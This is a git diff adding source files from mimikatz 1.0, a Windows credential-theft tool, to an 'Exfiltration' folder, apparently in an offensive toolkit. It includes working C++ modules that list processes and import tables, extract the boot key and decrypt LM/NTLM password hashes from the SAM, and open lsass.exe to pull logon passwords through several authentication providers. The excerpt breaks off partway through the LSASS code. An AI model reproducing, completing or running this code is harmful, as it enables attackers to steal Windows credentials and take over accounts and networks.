+ if(mod_process::getList(vectorProcess))
+ {
+ (*outputStream) << L"PID\tPPID\t#Ths\tpri\timage" << endl;
+ for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator monProcess = vectorProcess->begin(); monProcess != vectorProcess->end(); monProcess++)
+ {
+ (*outputStream) <<
+ setw(5) << setfill(wchar_t(' ')) << monProcess->th32ProcessID << L'\t' <<
+ setw(5) << setfill(wchar_t(' ')) << monProcess->th32ParentProcessID << L'\t' <<
+ setw(5) << setfill(wchar_t(' ')) << monProcess->cntThreads << L'\t' <<
+ setw(5) << setfill(wchar_t(' ')) << monProcess->pcPriClassBase << L'\t' <<
+ monProcess->szExeFile <<
+ endl;
+ }
+ }
+ else (*outputStream) << L"mod_process::getList ; " << mod_system::getWinError() << endl;
+
+ delete vectorProcess;
+ return true;
+}
+
+bool mod_mimikatz_process::modules(vector<wstring> * arguments)
+{
+ DWORD processId = 0 ;
+
+ if(!arguments->empty() && !(arguments->size() > 1))
+ {
+ wstringstream monBuffer;
+ monBuffer << arguments->front();
+ monBuffer >> processId;
+ }
+
+ vector<mod_process::KIWI_MODULEENTRY32> * vectorModules = new vector<mod_process::KIWI_MODULEENTRY32>();
+ if(mod_process::getModulesListForProcessId(vectorModules, &processId))
+ {
+ (*outputStream) << L"@Base\tTaille\tModule\tPath" << endl;
+ for(vector<mod_process::KIWI_MODULEENTRY32>::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++)
+ {
+ (*outputStream) << monModule->modBaseAddr << L'\t' << monModule->modBaseSize << '\t' << monModule->szModule << L'\t' << monModule->szExePath << endl;
+ }
+ }
+ else
+ (*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl;
+
+ delete vectorModules;
+ return true;
+}
+
+bool mod_mimikatz_process::iat(vector<wstring> * arguments)
+{
+ wstring process;
+ wstring module;
+
+ switch(arguments->size())
+ {
+ case 2:
+ process = arguments->at(0);
+ module = arguments->at(1);
+ break;
+ case 1:
+ process = arguments->at(0);
+ break;
+ default:
+ ;
+ }
+
+ mod_process::KIWI_PROCESSENTRY32 monProcess;
+ if(mod_process::getUniqueForName(&monProcess, &process))
+ {
+ if(HANDLE monHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, monProcess.th32ProcessID))
+ {
+ if(module.empty() || (module.front() != L'*'))
+ {
+ if(module.empty())
+ module.assign(process);
+
+ mod_process::KIWI_MODULEENTRY32 * monModule = new mod_process::KIWI_MODULEENTRY32();
+ if(mod_process::getUniqueModuleForName(monModule, &module, &monProcess.th32ProcessID))
+ {
+ printIATFromModule(monModule, monHandle);
+ }
+ else (*outputStream) << L"mod_process::getUniqueModuleForName ; " << mod_system::getWinError() << endl;
+ delete monModule;
+ }
+ else
+ {
+ vector<mod_process::KIWI_MODULEENTRY32> * vectorModules = new vector<mod_process::KIWI_MODULEENTRY32>();
+ if(mod_process::getModulesListForProcessId(vectorModules, &monProcess.th32ProcessID))
+ {
+ for(vector<mod_process::KIWI_MODULEENTRY32>::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++)
+ printIATFromModule(&*monModule, monHandle);
+ }
+ else (*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl;
+
+ delete vectorModules;
+ }
+
+ CloseHandle(monHandle);
+ }
+ }
+ else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
+
+ return true;
+}
+
+void mod_mimikatz_process::printInfosFromPid(DWORD &PID, DWORD ThreadId)
+{
+ (*outputStream) << L"PID : " << PID << endl;
+
+ if(ThreadId)
+ {
+ (*outputStream) << L"ThreadID : " << ThreadId << endl;
+ }
+
+ LUID monId = {0, 0};
+ if(mod_process::getAuthentificationIdFromProcessId(PID, monId))
+ {
+ (*outputStream) << "AuthId_h : " << monId.HighPart << endl;
+ (*outputStream) << "AuthId_l : " << monId.LowPart << endl;
+ }
+ else (*outputStream) << L"Erreur : " << mod_system::getWinError() << endl;
+}
+
+void mod_mimikatz_process::printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle)
+{
+ (*outputStream) << monModule->szModule << L" -> " << monModule->szExePath << endl;
+ PBYTE baseAddr = reinterpret_cast<PBYTE>(monModule->modBaseAddr);
+
+ vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>> * monIAT = new vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>>();
+ if(mod_process::getIAT(baseAddr, monIAT, monHandle))
+ {
+ for(vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>>::iterator monModuleImporte = monIAT->begin(); monModuleImporte != monIAT->end(); monModuleImporte++)
+ {
+ (*outputStream) << L" - Imports depuis : " << monModuleImporte->first.c_str() << endl;
+ for(vector<mod_process::KIWI_IAT_MODULE>::iterator maFonctionImporte = monModuleImporte->second.begin(); maFonctionImporte != monModuleImporte->second.end(); maFonctionImporte++)
+ {
+ (*outputStream) << L" " << maFonctionImporte->ptrToFunc << L" -> " << maFonctionImporte->ptrFunc << L' ';
+ if(maFonctionImporte->Ordinal != 0)
+ (*outputStream) << L"O# " << maFonctionImporte->Ordinal;
+ else
+ (*outputStream) << maFonctionImporte->funcName.c_str();
+ (*outputStream) << endl;
+ }
+ }
+ }
+ delete monIAT;
+}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h
new file mode 100644
index 0000000..68f8428
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h
@@ -0,0 +1,32 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_system.h"
+#include "mod_process.h"
+#include <iostream>
+
+class mod_mimikatz_process
+{
+private:
+ static void printInfosFromPid(DWORD &PID, DWORD ThreadId);
+ static void printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle = INVALID_HANDLE_VALUE);
+
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool list(vector<wstring> * arguments);
+
+ static bool start(vector<wstring> * arguments);
+ static bool suspend(vector<wstring> * arguments);
+ static bool resume(vector<wstring> * arguments);
+ static bool stop(vector<wstring> * arguments);
+
+
+ static bool modules(vector<wstring> * arguments);
+ static bool iat(vector<wstring> * arguments);
+};
+
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp
new file mode 100644
index 0000000..26f5798
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp
@@ -0,0 +1,353 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_samdump.h"
+#include "..\global.h"
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_samdump::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"hashes", L"Récupère la bootkey depuis une ruche SYSTEM puis les hashes depuis une ruche SAM"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(bootkey, L"bootkey", L"Récupère la bootkey depuis une ruche SYSTEM"));
+ return monVector;
+}
+
+bool mod_mimikatz_samdump::bootkey(vector<wstring> * arguments)
+{
+ unsigned char bootkey[0x10];
+ if(!arguments->empty())
+ getInfosFromHive(arguments->front(), bootkey);
+ else
+ getInfosFromReg(bootkey);
+ return true;
+}
+
+bool mod_mimikatz_samdump::full(vector<wstring> * arguments)
+{
+ unsigned char bootkey[0x10];
+ if(!arguments->empty() && (arguments->size() >= 1 && arguments->size() <= 2))
+ {
+ if(getInfosFromHive(arguments->front().c_str(), bootkey))
+ {
+ if(!getUsersAndHashesFromHive(arguments->back().c_str(), bootkey))
+ (*outputStream) << L"Erreur lors de l\'exploration des ruches" << endl;
+ }
+ }
+ else
+ {
+ if(getInfosFromReg(bootkey))
+ {
+ if(!getUsersAndHashesFromReg(bootkey))
+ (*outputStream) << L"Erreur lors de l\'exploration du registre" << endl;
+ }
+ }
+ return true;
+}
+
+bool mod_mimikatz_samdump::getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10])
+{
+ bool reussite = false;
+
+ mod_hive::hive * monHive = new mod_hive::hive();
+ mod_hive::InitHive(monHive);
+ if(mod_hive::RegOpenHive(samHive.c_str(), monHive))
+ {
+ string * rootKey = new string();
+ if(mod_hive::RegGetRootKey(monHive, rootKey))
+ {
+ string * keyAccountName = new string(*rootKey); keyAccountName->append("\\SAM\\Domains\\Account");
+ string * valAccountName = new string("F");
+ int longueurF = 0; unsigned char *bufferF = NULL;
+
+ if(mod_hive::RegOpenKeyQueryValue(monHive, keyAccountName, valAccountName, &bufferF, &longueurF))
+ {
+ BYTE hBootKey[0x20] = {0};
+ if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF))
+ {
+ string * keyUsers = new string(*rootKey); keyUsers->append("\\SAM\\Domains\\Account\\Users");
+ mod_hive::nk_hdr * nodeUsers = new mod_hive::nk_hdr();
+ if(mod_hive::RegOpenKey(monHive, keyUsers, &nodeUsers ))
+ {
+ vector<string> * keyNames = new vector<string>();
+ if(reussite = mod_hive::RegEnumKey(monHive, nodeUsers, keyNames))
+ {
+ for(vector<string>::iterator maKey = keyNames->begin(); maKey != keyNames->end(); maKey++)
+ {
+ if(maKey->compare("Names") != 0)
+ {
+ string * keyUser = new string(*keyUsers); keyUser->append("\\"); keyUser->append(*maKey);
+ string valUserF = "F"; mod_hash::USER_F * userF = NULL; int longueurF = 0;
+ string valUserV = "V"; mod_hash::USER_V * userV = NULL; int longueurV = 0;
+
+ if(reussite &= mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserV, reinterpret_cast<unsigned char **>(&userV), &longueurV) &&
+ mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserF, reinterpret_cast<unsigned char **>(&userF), &longueurF))
+ {
+ infosFromUserAndKey(userF, userV, hBootKey);
+ delete[] userF, userV;
+ }
+ delete keyUser;
+ }
+ }
+ }
+ delete keyNames;
+ }
+ delete nodeUsers, keyUsers;
+ }
+ delete[] bufferF;
+ }
+ delete valAccountName, keyAccountName;
+ }
+ delete rootKey;
+ }
+ delete monHive;
+
+ return reussite;
+}
+
+bool mod_mimikatz_samdump::getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10])
+{
+ bool reussite = false;
+
+ mod_hive::hive * monHive = new mod_hive::hive();
+ mod_hive::InitHive(monHive);
+
+ if(mod_hive::RegOpenHive(systemHive.c_str(), monHive))
+ {
+ string * rootKey = new string();
+ if(mod_hive::RegGetRootKey(monHive, rootKey))
+ {
+ DWORD nControlSet = 0;
+ if(getNControlSetFromHive(monHive, rootKey, &nControlSet))
+ {
+ stringstream * monControlSet = new stringstream;
+ *monControlSet << *rootKey << "\\ControlSet" << setw(3) << setfill('0') << nControlSet;
+ string * fullControlSet = new string(monControlSet->str());
+ delete monControlSet;
+
+ wstring * computerName = new wstring();
+ if(getComputerNameFromHive(monHive, fullControlSet, computerName))
+ (*outputStream) << L"Ordinateur : " << *computerName << endl;
+ delete computerName;
+
+ if(reussite = getBootKeyFromHive(monHive, fullControlSet, bootkey))
+ (*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl;
+ delete fullControlSet;
+ }
+ }
+ delete rootKey;
+ mod_hive::RegCloseHive(monHive);
+ }
+ delete monHive;
+
+ return reussite;
+}
+
+bool mod_mimikatz_samdump::getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName)
+{
+ bool reussite = false;
+
+ string * keyComputerName = new string(*fullControlSet); keyComputerName->append("\\Control\\ComputerName\\ComputerName");
+ string * valComputerName = new string("ComputerName");
+ int longueur = 0; unsigned char *buffer = NULL;
+ if(reussite = mod_hive::RegOpenKeyQueryValue(theHive, keyComputerName, valComputerName, &buffer, &longueur))
+ {
+ computerName->assign(reinterpret_cast<wchar_t *>(buffer), longueur / sizeof(wchar_t));
+ delete[] buffer;
+ }
+ delete valComputerName;
+ delete keyComputerName;
+
+ return reussite;
+}
+
+bool mod_mimikatz_samdump::getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10])
+{
+ bool reussite = false;
+
+ unsigned char key[0x10];
+ char *kn[] = {"JD", "Skew1", "GBG", "Data"};
+
+ for(unsigned int i = 0; i < sizeof(kn) / sizeof(char *); i++ )
+ {
+ string * maKey = new string(*fullControlSet); maKey->append("\\Control\\Lsa\\"); maKey->append(kn[i]);
+ mod_hive::nk_hdr * n = new mod_hive::nk_hdr();
+
+ if(reussite = mod_hive::RegOpenKey(theHive, maKey, &n))
+ {
+ char kv[9] = {0};
+ unsigned char *b = mod_hive::read_data(theHive, n->classname_off + 0x1000);
+ for(short j = 0; j < (n->classname_len / 2) && j < 8; j++)
+ kv[j] = b[j*2];
+ sscanf_s(kv, "%x", (unsigned int*) (&key[i*4]));
+ }
+ delete n, maKey;
+ }
+
+ if(reussite)
+ mod_hash::getBootKeyFromKey(bootkey, key);
+
+ return reussite;
+}
+
+bool mod_mimikatz_samdump::getBootKeyFromReg(BYTE bootkey[0x10])
+{
+ bool reussite = false;
+
+ DWORD code;
+ BYTE key[0x10] = {0};
+ wchar_t * kn[] = {L"JD", L"Skew1", L"GBG", L"Data"};
+ HKEY monLSA;
+ code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, KEY_READ, &monLSA);
+ if(code == ERROR_SUCCESS)
+ {
+ for(unsigned int i = 0; (i < sizeof(kn) / sizeof(wchar_t *)) && (code == ERROR_SUCCESS); i++ )
+ {
+ HKEY monSecret;
+ code = RegOpenKeyEx(monLSA, kn[i], 0, KEY_READ, &monSecret);
+ if(code == ERROR_SUCCESS)
+ {
+ wchar_t monBuffer[8 + 1];
+ DWORD maTaille = 8 + 1;
+
+ code = RegQueryInfoKey(monSecret, monBuffer, &maTaille, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+ if(code == ERROR_SUCCESS)
+ swscanf_s(monBuffer, L"%x", (DWORD *) (&key[i * sizeof(DWORD)]));
+ else (*outputStream) << L"RegQueryInfoKey " << kn[i] << " : " << mod_system::getWinError(false, code) << endl;
+ RegCloseKey(monSecret);
+ } else (*outputStream) << L"RegOpenKeyEx " << kn[i] << " : " << mod_system::getWinError(false, code) << endl;
+ }
+ RegCloseKey(monLSA);
+ } else (*outputStream) << L"RegOpenKeyEx LSA : " << mod_system::getWinError(false, code) << endl;
+
+ if(reussite = (code == ERROR_SUCCESS))
+ mod_hash::getBootKeyFromKey(bootkey, key);
+
+ return reussite;
+}
+
+
+
+bool mod_mimikatz_samdump::getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet)
+{
+ bool reussite = false;
+
+ string * selectKey = new string(*rootKey); selectKey->append("\\Select");
+ string * nDefault = new string("Default");
+ int longueur = 0; unsigned char *buffer = NULL;
+
+ if(mod_hive::RegOpenKeyQueryValue(theHive, selectKey, nDefault, &buffer, &longueur))
+ {
+ if(reussite = (longueur == sizeof(DWORD)))
+ *nControlSet = *(DWORD *) (buffer);
+ delete[] buffer;
+ }
+
+ delete nDefault, selectKey;
+ return reussite;
+}
+
+bool mod_mimikatz_samdump::getInfosFromReg(BYTE bootkey[0x10])
+{
+ bool reussite = false;
+
+ wstring * computerName = new wstring();
+ if(mod_system::getComputerName(computerName))
+ (*outputStream) << L"Ordinateur : " << *computerName << endl;
+ delete computerName;
+
+ if(reussite = getBootKeyFromReg(bootkey))
+ (*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl;
+
+ return reussite;
+}
+
+
+bool mod_mimikatz_samdump::getUsersAndHashesFromReg(BYTE bootkey[0x10])
+{
+ bool reussite = false;
+
+ DWORD code;
+ HKEY maSAM;
+ code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SAM\\SAM\\Domains\\Account", 0, KEY_READ, &maSAM);
+ if(code == ERROR_SUCCESS)
+ {
+ DWORD tailleRequise = 0;
+ code = RegQueryValueEx(maSAM, L"F", NULL, NULL, NULL, &tailleRequise);
+ if(code == ERROR_SUCCESS)
+ {
+ BYTE * bufferF = new BYTE[tailleRequise];
+ code = RegQueryValueEx(maSAM, L"F", NULL, NULL, bufferF, &tailleRequise);
+ if(code == ERROR_SUCCESS)
+ {
+ BYTE hBootKey[0x10] = {0};
+ if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF))
+ {
+ HKEY mesUsers;
+ code = RegOpenKeyEx(maSAM, L"Users", 0, KEY_READ, &mesUsers);
+ if(code == ERROR_SUCCESS)
+ {
+ DWORD nombreUsers = 0, tailleMaxSousCle = 0;
+ code = RegQueryInfoKey(mesUsers, NULL, NULL, NULL, &nombreUsers, &tailleMaxSousCle, NULL, NULL, NULL, NULL, NULL, NULL);
+ if(reussite = (code == ERROR_SUCCESS))
+ {
+ tailleMaxSousCle++;
+ wchar_t * monRid = new wchar_t[tailleMaxSousCle];
+ for(DWORD i = 0; i < nombreUsers ; i++)
+ {
+ DWORD tailleRid = tailleMaxSousCle;
+ code = RegEnumKeyExW(mesUsers, i, monRid, &tailleRid, NULL, NULL, NULL, NULL);
+ if(code == ERROR_SUCCESS)
+ {
+ if(_wcsicmp(monRid, L"Names") != 0)
+ {
+ HKEY monUser;
+ code = RegOpenKeyEx(mesUsers, monRid, 0, KEY_READ, &monUser);
+ if(reussite &= (code == ERROR_SUCCESS))
+ {
+ DWORD tailleF = 0, tailleV = 0;
+ if((RegQueryValueEx(monUser, L"F", NULL, NULL, NULL, &tailleF) == ERROR_SUCCESS) &&
+ (RegQueryValueEx(monUser, L"V", NULL, NULL, NULL, &tailleV) == ERROR_SUCCESS))
+ {
+ mod_hash::USER_F * userF = reinterpret_cast<mod_hash::USER_F *>(new BYTE[tailleF]);
+ mod_hash::USER_V * userV = reinterpret_cast<mod_hash::USER_V *>(new BYTE[tailleV]);
+
+ if((RegQueryValueEx(monUser, L"F", NULL, NULL, reinterpret_cast<BYTE *>(userF), &tailleF) == ERROR_SUCCESS) &&
+ (RegQueryValueEx(monUser, L"V", NULL, NULL, reinterpret_cast<BYTE *>(userV), &tailleV) == ERROR_SUCCESS))
+ infosFromUserAndKey(userF, userV, hBootKey);
+
+ delete[] userF, userV;
+ }
+ RegCloseKey(monUser);
+ }
+ }
+ } else (*outputStream) << L"RegEnumKeyExW : " << mod_system::getWinError(false, code) << endl;
+ }
+ delete[] monRid;
+ }
+ RegCloseKey(mesUsers);
+ } else (*outputStream) << L"RegOpenKeyEx Users : " << mod_system::getWinError(false, code) << endl;
+ }
+ } else (*outputStream) << L"RegQueryValueEx 2 F : " << mod_system::getWinError(false, code) << endl;
+ delete[] bufferF;
+ } else (*outputStream) << L"RegQueryValueEx 1 F : " << mod_system::getWinError(false, code) << endl;
+ RegCloseKey(maSAM);
+ } else (*outputStream) << L"RegOpenKeyEx SAM : " << mod_system::getWinError(false, code) << endl;
+
+ return reussite;
+}
+
+void mod_mimikatz_samdump::infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x10])
+{
+ wstring hashLM, hashNTLM;
+ mod_hash::decryptHash(&hashLM, hBootKey, userV, &userV->LM, userF->UserId, false);
+ mod_hash::decryptHash(&hashNTLM, hBootKey, userV, &userV->NTLM, userF->UserId, true);
+
+ (*outputStream) << endl <<
+ L"Rid : " << userF->UserId << endl <<
+ L"User : " << wstring((wchar_t *) (&(userV->datas) + userV->Username.offset), userV->Username.lenght / sizeof(wchar_t)) << endl <<
+ L"LM : " << hashLM << endl <<
+ L"NTLM : " << hashNTLM << endl
+ ;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h
new file mode 100644
index 0000000..6586d03
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h
@@ -0,0 +1,34 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_hive.h"
+#include "mod_hash.h"
+#include "mod_system.h"
+#include <iostream>
+#include <sstream>
+
+class mod_mimikatz_samdump
+{
+private:
+ static bool getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet);
+ static bool getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName);
+
+ static bool getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]);
+ static bool getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]);
+ static bool getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]);
+
+ static bool getBootKeyFromReg(BYTE bootkey[0x10]);
+ static bool getInfosFromReg(BYTE bootkey[0x10]);
+ static bool getUsersAndHashesFromReg(BYTE bootkey[0x10]);
+
+ static void infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x20]);
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool bootkey(vector<wstring> * arguments);
+ static bool full(vector<wstring> * arguments);
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp
new file mode 100644
index 0000000..d8832bc
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp
@@ -0,0 +1,348 @@
+/* Benjamin DELPY `gentilkiwi`
+http://blog.gentilkiwi.com
+benjamin@gentilkiwi.com
+Licence : http://creativecommons.org/licenses/by/3.0/fr/
+Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_sekurlsa.h"
+#include "..\global.h"
+HMODULE mod_mimikatz_sekurlsa::hLsaSrv = NULL;
+HANDLE mod_mimikatz_sekurlsa::hLSASS = NULL;
+mod_process::KIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa::localLSASRV, *mod_mimikatz_sekurlsa::pModLSASRV = NULL;
+PLSA_SECPKG_FUNCTION_TABLE mod_mimikatz_sekurlsa::SeckPkgFunctionTable = NULL;
+
+bool mod_mimikatz_sekurlsa::lsassOK = false;
+vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> mod_mimikatz_sekurlsa::GLOB_ALL_Providers;
+vector<mod_mimikatz_sekurlsa::KIWI_MODULE_PKG_LSA> mod_mimikatz_sekurlsa::mesModules;
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_sekurlsa::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_msv1_0::getMSV, L"msv", L"énumère les sessions courantes du provider MSV1_0"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_wdigest::getWDigest, L"wdigest", L"énumère les sessions courantes du provider WDigest"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_kerberos::getKerberos, L"kerberos",L"énumère les sessions courantes du provider Kerberos"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_tspkg::getTsPkg, L"tspkg", L"énumère les sessions courantes du provider TsPkg"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_livessp::getLiveSSP, L"livessp", L"énumère les sessions courantes du provider LiveSSP"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_ssp::getSSP, L"ssp", L"énumère les sessions courantes du provider SSP (msv1_0)"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(getLogonPasswords, L"logonPasswords", L"énumère les sessions courantes des providers disponibles"));
+
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(searchPasswords, L"searchPasswords", L"rechere directement dans les segments mémoire de LSASS des mots de passes"));
+ return monVector;
+}
+
+bool mod_mimikatz_sekurlsa::getLogonPasswords(vector<wstring> * arguments)
+{
+ if(searchLSASSDatas())
+ getLogonData(arguments, &GLOB_ALL_Providers);
+ else
+ (*outputStream) << L"Données LSASS en erreur" << endl;
+ return true;
+}
+
+bool mod_mimikatz_sekurlsa::loadLsaSrv()
+{
+ if(!hLsaSrv)
+ hLsaSrv = LoadLibrary(L"lsasrv");
+
+ if(mesModules.empty())
+ {
+ mesModules.push_back(KIWI_MODULE_PKG_LSA(L"lsasrv.dll", L"msv1_0", mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData, &pModLSASRV));
+ mesModules.push_back(KIWI_MODULE_PKG_LSA(L"tspkg.dll", L"tspkg", mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData, &mod_mimikatz_sekurlsa_tspkg::pModTSPKG));
+ mesModules.push_back(KIWI_MODULE_PKG_LSA(L"wdigest.dll", L"wdigest", mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData, &mod_mimikatz_sekurlsa_wdigest::pModWDIGEST));
+ mesModules.push_back(KIWI_MODULE_PKG_LSA(L"kerberos.dll", L"kerberos", mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData, &mod_mimikatz_sekurlsa_kerberos::pModKERBEROS));
+ mesModules.push_back(KIWI_MODULE_PKG_LSA(L"msv1_0.dll", L"ssp", mod_mimikatz_sekurlsa_ssp::getSSPLogonData, &mod_mimikatz_sekurlsa_ssp::pModMSV));
+ if(mod_system::GLOB_Version.dwBuildNumber >= 8000)
+ mesModules.push_back(KIWI_MODULE_PKG_LSA(L"livessp.dll",L"livessp", mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData, &mod_mimikatz_sekurlsa_livessp::pModLIVESSP));
+ }
+ return (hLsaSrv != NULL);
+}
+
+bool mod_mimikatz_sekurlsa::unloadLsaSrv()
+{
+ for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++)
+ if(*testModule->pModuleEntry)
+ delete *testModule->pModuleEntry;
+
+ if(mod_system::GLOB_Version.dwMajorVersion < 6)
+ mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData();
+ else
+ mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData();
+
+ if(hLSASS)
+ CloseHandle(hLSASS);
+ if(hLsaSrv)
+ FreeLibrary(hLsaSrv);
+
+ return true;
+}
+
+bool mod_mimikatz_sekurlsa::searchLSASSDatas()
+{
+ if(!lsassOK)
+ {
+ if(!hLSASS)
+ {
+ mod_process::KIWI_PROCESSENTRY32 monProcess;
+ wstring processName = L"lsass.exe";
+ if(mod_process::getUniqueForName(&monProcess, &processName))
+ {
+ if(hLSASS = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, monProcess.th32ProcessID))
+ {
+ vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY> monVecteurModules;
+ if(mod_process::getVeryBasicModulesListForProcess(&monVecteurModules, hLSASS))
+ {
+ for(vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY>::iterator leModule = monVecteurModules.begin(); leModule != monVecteurModules.end(); leModule++)
+ {
+ for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++)
+ {
+ if((_wcsicmp(leModule->szModule.c_str(), testModule->moduleName) == 0) && !(*testModule->pModuleEntry))
+ {
+ GLOB_ALL_Providers.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(testModule->enumFunc, testModule->simpleName/*wstring(L"msv1_0")*/));
+ *testModule->pModuleEntry = new mod_process::KIWI_VERY_BASIC_MODULEENTRY(*leModule);
+ break;
+ }
+ }
+ }
+ } else {
+ (*outputStream) << L"mod_process::getVeryBasicModulesListForProcess : " << mod_system::getWinError() << endl;
+ CloseHandle(hLSASS);
+ hLSASS = NULL;
+ }
+ } else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl;
+ } else (*outputStream) << L"mod_process::getUniqueForName : " << mod_system::getWinError() << endl;
+ }
+
+ if(hLSASS)
+ {
+ MODULEINFO mesInfos;
+ if(GetModuleInformation(GetCurrentProcess(), hLsaSrv, &mesInfos, sizeof(MODULEINFO)))
+ {
+ localLSASRV.modBaseAddr = reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
+ localLSASRV.modBaseSize = mesInfos.SizeOfImage;
+
+ if(!SeckPkgFunctionTable)
+ {
